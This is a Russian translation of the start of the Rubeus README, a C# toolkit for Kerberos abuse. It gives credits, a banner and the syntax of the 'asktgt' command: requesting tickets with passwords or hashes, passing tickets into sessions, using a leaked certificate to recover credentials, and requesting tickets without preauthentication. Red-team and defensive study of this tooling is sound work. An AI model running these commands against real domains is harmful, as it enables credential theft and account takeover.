
Попытка приручить трехглавую собаку.
Rubeus — это набор инструментов на C# для прямого взаимодействия с Kerberos и его эксплуатации. Он сильно адаптирован из проекта Benjamin Delpy Kekeo (лицензия CC BY-NC-SA 4.0) и проекта Vincent LE TOUX MakeMeEnterpriseAdmin (лицензия GPL v3.0). Полная заслуга принадлежит Бенджамину и Винсенту за разработку сложных компонентов превращения в оружие — без их предыдущей работы этот проект не существовал бы.
Charlie Clark и Ceri Coburn внесли значительный вклад в качестве соразработчиков в кодовую базу Rubeus. Elad Shamir также внёс важный вклад в реализацию ограниченного делегирования на основе ресурсов. Их работа очень ценится!
Rubeus также использует библиотеку парсинга/кодирования ASN.1 на C# от Thomas Pornin под названием DDer, выпущенную под лицензией, похожей на «MIT». Огромное спасибо Томасу за его чистый и стабильный код!
Код PKINIT сильно адаптирован из инструмента Bruce от @SteveSyfuhs. Bruce сделал RFC4556 (PKINIT) гораздо более понятным. Огромное спасибо Стиву!
Кодирование и декодирование NDR для PAC Kerberos основано на библиотеке NtApiDotNet от @tiraniddo, спасибо, Джеймс.
Метод KerberosRequestorSecurityToken.GetRequest для Kerberoasting был передан в PowerView (а затем включён в Rubeus) @machosec.
@harmj0y является основным автором этой кодовой базы.
Rubeus распространяется под лицензией BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Запросы и продление билетов:
Получить TGT на основе пароля/хеша пользователя, опционально сохранить в файл или применить к текущему сеансу входа или конкретному LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT на основе пароля/хеша пользователя, опционально сохранить в файл или применить к текущему сеансу входа или конкретному LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT на основе пароля/хеша пользователя, запустить процесс /netonly и применить билет к новому процессу/сеансу входа:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT с использованием сертификата PCKS12, запустить процесс /netonly и применить билет к новому процессу/сеансу входа:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT с использованием сертификата из хранилища пользователя (смарт-карты), указав отпечаток или тему сертификата, запустить процесс /netonly и применить билет к новому процессу/сеансу входа:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Получить TGT, подходящий для смены пароля учётной записи с истёкшим паролем, с помощью команды changepw:
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Запросить TGT без отправки данных предварительной аутентификации:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Запросить служебный билет через AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]